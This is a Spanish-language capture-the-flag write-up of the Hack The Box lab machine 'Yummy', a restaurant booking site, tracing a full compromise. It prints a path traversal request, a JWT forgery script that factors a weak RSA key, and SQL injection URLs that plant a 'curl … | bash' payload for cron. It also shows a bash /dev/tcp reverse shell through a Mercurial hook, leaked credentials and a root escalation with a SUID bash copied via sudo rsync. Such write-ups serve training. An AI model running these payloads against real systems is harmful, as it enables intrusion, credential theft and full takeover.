write up Yummy HTB

Yummy empieza como una página web para hacer reservas en restaurantes. Voy a explotar una vulnerabilidad de cruce de directorios en la función que genera los archivos de invitación al calendario para leer archivos del sistema, consiguiendo así acceso al código fuente del sitio web y a los crons que se están ejecutando. Descifraré la clave RSA utilizada para firmar las cookies JWT y así obtener acceso de administrador. Luego, aprovecharé una inyección SQL para escribir un script que será ejecutado por los crons.

Después, abusaré de otro cron para obtener acceso como el usuario www-data, que tiene permisos sobre un repositorio Mercurial (similar a Git). Allí, revisaré commits antiguos para encontrar las credenciales de otro usuario. Con este nuevo acceso, podré escribir un hook en Mercurial para pivotar de nuevo.

Este usuario puede ejecutar rsync como root, lo que me permitirá completar la máquina.

En Beyond Root, analizaré el código fuente en Python del sitio para entender su comportamiento, además de revisar las configuraciones erróneas que permitieron escribir archivos a través de MySQL, incluyendo ajustes en MySQL y AppArmor.

como siempre empezamos con los escaneos de nmap

nmap -p- --open --min-rate 5000 -sT -n -Pn -vvv 10.10.11.36 -oG allports

nmap -sVC -p22,80 10.10.11.36 -oN ports

si hacemos un whatweb vemos lo siguiente

si vamos a la pagina web veremos lo siguiente

al fondo vemos un sitio para reservar una mesa pero sin mas si hacemos un fuzzing con disearch por ejemplo encontramos lo siguiente

dirsearch -u "http://yummy.htb" -t 50 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

vemos un panel de regitro vamos a el

vale nos registramos y nos logeamos

y vemos una pantalla en negro queentiendo que sera si tengo reservciones

si pruebo a hacer una reservacion poniendo los datos de la cuenta

si volvemos a donde estava en negro ahora apararece esto

si ahora abrimos burpsuite y capturamos la peticion cuando le damos a salvar el calendario

ahora cemos un forward por que esta no me interesa

ahora vemos que esta apuntando a un directorio llamdo export, elcual esta mal echo proque podemos apntar a otros archivos de la mquina como las tareas cron

GET /export/../../../../../etc/crontab HTTP/1.1

![[Pasted image 20250107180007.png]]

vemos las tareas cron y algo mas

3 archivos que son importantes

en el backup si nos lo bajamos encontramos el siguiente script:

from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

access_token = ''

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()

@app.route('/logout', methods=['GET'])
def logout():
    response = make_response(redirect('/login'))
    response.set_cookie('X-AUTH-Token', '')
    return response

@app.route('/register', methods=['GET', 'POST'])
def register():
        if request.method == 'GET':
            return render_template('register.html', message=None)
        elif request.method == 'POST':
            role_id = 'customer_' + secrets.token_hex(4)
            email = request.json.get('email')
            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
            if not email or not password:
                return jsonify(error="email or password is missing"), 400
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "SELECT * FROM users WHERE email=%s"
                    cursor.execute(sql, (email,))
                    existing_user = cursor.fetchone()
                    if existing_user:
                        return jsonify(error="Email already exists"), 400
                    else:
                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
                        cursor.execute(sql, (email, password, role_id))
                        connection.commit()
                        return jsonify(message="User registered successfully"), 201
            finally:
                connection.close()


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/book', methods=['GET', 'POST'])
def export():
    if request.method == 'POST':
        try:
            name = request.form['name']
            date = request.form['date']
            time = request.form['time']
            email = request.form['email']
            num_people = request.form['people']
            message = request.form['message']

            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
                    cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
                    connection.commit()
                    flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')  
            except Exception as e:
                print(e)
            return redirect('/#book-a-table')
        except ValueError:
            flash('Error processing your request. Please try again.', 'error')
    return render_template('index.html')


def generate_ics_file(name, date, time, email, num_people, message):
    global temp_dir
    temp_dir = tempfile.mkdtemp()
    current_date_time = datetime.now()
    formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")

    cal = Calendar()
    event = Event()
    
    event.name = name
    event.begin = datetime.strptime(date, "%Y-%m-%d")
    event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
    
    cal.events.add(event)

    temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
    with open(temp_file_path, 'w') as fp:
        fp.write(cal.serialize())

    return os.path.basename(temp_file_path)

@app.route('/export/<path:filename>')
def export_file(filename):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    filepath = os.path.join(temp_dir, filename)
    if os.path.exists(filepath):
        content = send_file(filepath, as_attachment=True)
        shutil.rmtree(temp_dir)
        return content
    else:
        shutil.rmtree(temp_dir)
        return "File not found", 404

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

        return render_template('dashboard.html', appointments=appointments_sorted)

@app.route('/delete/<appointID>')
def delete_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    elif validation == "administrator":
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments where appointment_id= %s;"
                cursor.execute(sql, (appointID,))
                connection.commit()

                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("admindashboard"))
    else:
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
                cursor.execute(sql, (appointID, validation))
                connection.commit()

                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("dashboard"))
        flash("Something went wrong!","error")
        return redirect(url_for("dashboard"))

@app.route('/reminder/<appointID>')
def reminder_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))

    connection = pymysql.connect(**db_config)
    try:
        with connection.cursor() as cursor:
            sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
            result = cursor.execute(sql, (validation, appointID))
            if result != 0:
                connection.commit()
                appointments = cursor.fetchone()
                filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
                connection.close()
                flash("Reservation downloaded successfully","success")
                return redirect(url_for('export_file', filename=filename))
            else:
                flash("Something went wrong!","error")
    except:
        flash("Something went wrong!","error")
        
    return redirect(url_for("dashboard"))

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)



if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)

nos da una pista de como se hacen los jwt

y si le añadimos este archivo python

ya podemos crear nuestro jwt de admin

con el siguiente script

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

# Tu token JWT original
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoiY3VzdG9tZXJfMTU1ODU3MDAiLCJpYXQiOjE3MzYyNjY0NTUsImV4cCI6MTczNjI3MDA1NSwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI5MjY3Mjk3MzQ2ODkyOTg3ODc4MDMxNTg4MTc4OTUyNTQ5NDYyNjg2NjQ4NjU5NzYyMjk4NTA4NzU5NDQ2NDQ1NDkwNDE3ODc0MzU4MDc3NjA3MzI4OTQ2MzkxMDQ2MzIzODA4MTAyMjI5ODgyNTgzMjIzNDQ2NzA2Mzc3Njg5MDEyMDgzNzQyMDE5MTUyMDg4Mzc1NTg0MTU0Nzc4MzgyMTA0ODY4MDkyMzY3MzY2NjM5MzU5MDEwMTU3MTk3NDg4OTE4Mjc3MjY3ODc4MzUzMjk2MDIyNTc2NDA5OTEwNTIwNTQwMjI4MzU0NjgxMzE2MDk2OTY1NDkxNjQ4ODc3OTI5NDkyODEzMTgyOTA0NjkwNzIyMzc1MTY2MjA4MDEzNDEwODM4OTQzNDIxNjk2NjAwOTgxMjI4MSIsImUiOjY1NTM3fX0.BlblmPBtcqlgBLChODFZ1ni_p4gfGV14r2isXdr1DpLpLnOytKR2u3lVNDwd7jfdJcn7pDwzQiv_rRqy6HCa-HyWySu8O9EuUCeBXqZYFhK6kIPvJMG0KbX7PnA9hoUAndEdQmh7ndu3xk0RWg58WwZgwW8N0nPKWLZJoyb1OCr_MoE"

# Decodificar el payload del JWT (sin verificar la firma)
header_b64, payload_b64, signature_b64 = token.split(".")

# Decodificar el payload base64 URL-safe
decoded_payload = base64.urlsafe_b64decode(payload_b64 + "==").decode('utf-8')
data = json.loads(decoded_payload)

print("Payload decodificado:", data)

# Modificar el payload (por ejemplo, agregar el rol)
data["role"] = "administrator"

# Clave RSA (se asume que tienes el valor de la clave pública y privada)
# Decodificando la clave pública RSA que viene en el JWT
n = int(data['jwk']['n'])
e = 65537  # Exponente común

# Factorizar n para obtener p y q
p, q = list(sympy.factorint(n).keys())
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)

# Crear la clave privada RSA usando p, q, d, y otros parámetros
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))

# Exportar la clave privada a formato PEM
private_key_bytes = key.export_key()

# Convertir la clave privada a formato PEM (como bytes)
private_key_pem = private_key_bytes.decode("utf-8")

# Codificar el nuevo token con la clave privada utilizando RS256
new_token = jwt.encode(data, private_key_pem, algorithm="RS256")
print("Nuevo token JWT:", new_token)

si lo ejecutamos

nos jenera el nuevo jwt que si lo pegamos en el apartado de cookies de seion y recargamos la pagina

ganamos acceso a admindhasvoart

ahora como dato curioso hay un sqli pero no es necesario porque realmente no consigues nada si en el panel de busqueda pones algo hace de esta forma la busqueda http://yummy.htb/admindashboard?s=dwadaw&o=ASC

pues en ASC hay un sqli si hacemos yummy.htb/admindashboard?s=fwfw&o=ASC union selec 1,2,3;

confirmamos las sopechas y si despues hacemos http://yummy.htb/admindashboard?s=edu&o=ASC;select extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=’users’))) ![[Pasted image 20250107182105.png]]

y vemos las tablas pero mas de aqui no podemos ir por desgracia

volviendo a la parte correcta. si vemos las tareas cron veremos que hay un archivo dbmonitor.sh que lo que hace es una tarea de mysql

#!/bin/bash
 
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
 
if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi
 
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

hay una sentencia else que hace si dbstatus.json sale y no incluye el texto database is down, borra el archivo .json y ejecuta el primer archivo fixer-v en /data/scripts.

por lo que debemos adelantarnos para ello vamos a usar las siguientes url http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+”pwned”+INTO+OUTFILE++’/data/scripts/dbstatus.json’+%3b http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+”curl+10.10.15.7:8000/shell.sh+|bash%3b”+INTO+OUTFILE++’/data/scripts/fixer-v___’+%3b

nos ponemos un sever python con la shell y en ecucha con netcat y pasado un rato

└──╼ $ nc -lvnp 9001 
listening on [any] 9001 ... connect to [10.10.15.7] from (UNKNOWN) [10.129.231.153] 33738 bash: cannot set terminal process group (6088): Inappropriate ioctl for device bash: no job control in this shell 
mysql@yummy:/var/spool/cron$

una vez dentro tenemos que salir

esto es casi igual que lo que acabamos de hacer si recordamos avia un archivo app_backup.sh en las cron

pues es tan simple como remplazar ese archivo con la shell que emos usado

y una vez echo

└──╼ $ nc -lvnp 1234 
listening on [any] 1234 ... connect to [10.10.15.7] from (UNKNOWN) [10.129.231.153] 42840 bash: cannot set terminal process group (8504): Inappropriate ioctl for device bash: no job control in this shell 
www-data@yummy:~$

una ve aqui hay dosa casos o lipheas.sh te da la password (LIT me la dio la primera vez que lo hice) pero la forma real seria la siguiente

vamos a ver un directorio .hg en el cual hay una serie de directorios si hacemos

cat store/data/app.py.i cat store/data/app.py.i
``www-data@yummy:~/app-qatesting/.hg$ cat store/data/app.py.i cat store/data/app.py.i 	 !_        qn l  *  ! E K 0v K( / `_ MOj_ + =L 3R   Zk    QL   {2 d\WQP]    d  |(^    7 o h 忩[   U[  =   ! ~ 33  R" , .Ah z x     R _ Y֓nS  s Ч     . . . .        E1( /    $ &'app.secret_key = s.token_hex(32) &u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s"  ɕp=  E(      ##md5 P     +v Kw9    'user': 'chef',     'password': '3wDo7gSRZIwIHRxZ!', EJ*      uY 0  +2ܩ-]%   ( ( / `O  <.`      6 ߽  } v v @P  D 2ӕ _ B Mu;G                                       .-1                                            D 	 kk  Y益H   ΣVps                                                                 K a 0 VW  ;h       B        ;ó~z q { +>= O_ q6   "V˺&f * T㔇D  퍂  @  V([Q         ̋G  φ    >GQ$  D  ,3 eJoH|j ) (𶠀yh]  6    ~Z [hY                                       	 w 4L {  ] ߚ D      f :     s)     }                3 ZШ ݆{S? m  *H چ   V3 Y (  ]       L  S eE  6K 6    'user': 'qa',     'password': 'jPAd!XQCtn8Oc@2B', &E& & '#' '  Y  d | p$bJJKx8 D'<a  Z   byh U v ]  厒 4 www-data@yummy:~/app-qatesting/.hg$``

root

si hacemos un sudo -l vemos lo siguiente

podemos ejecutar /usr/bin/hg como Dev li cual es interesante

/usr/bin/hg es un sistema de control de versiones similar a git que permite extraer o copiar archivos y repos. Ambos programas utilizan ganchos para desencadenar ciertos eventos después de extraer, confirmar y actualizar. Usando estos hooks podemos ejecutar un script después de que el pull esté hecho. Primero se necesita un archivo de configuración .hgrc para ejecutar un hook. Usemos el .hgrc en /home/qa/ y agreguemos la siguiente línea hooks\npost-pull = /tmp/shell.sh.

/usr/bin/hg config -l
cd /tmp
hg init
hg config -l
echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.15.7/443 0>&1"' > /tmp/evil.sh
chmod +x /tmp/evil.sh
chmod -R 777 .hg
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

nos ponemos en escucha con netcat y ganaremos shell

nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.15.7] 58430
I'm out of office until November  3th, don't call me
dev@yummy:/tmp$ whoami

whoami
dev

una vez como dev si hacemos un sudo -l veremos que tenemos permiso SUID sobre:


Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/* en el directorio /opt/app (excluyendo archivos .hg).

que podemos hacer. podemos hacernos una copia de bin/bash la cual se SUID y propiedad de root

cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
whoami
root

y funciono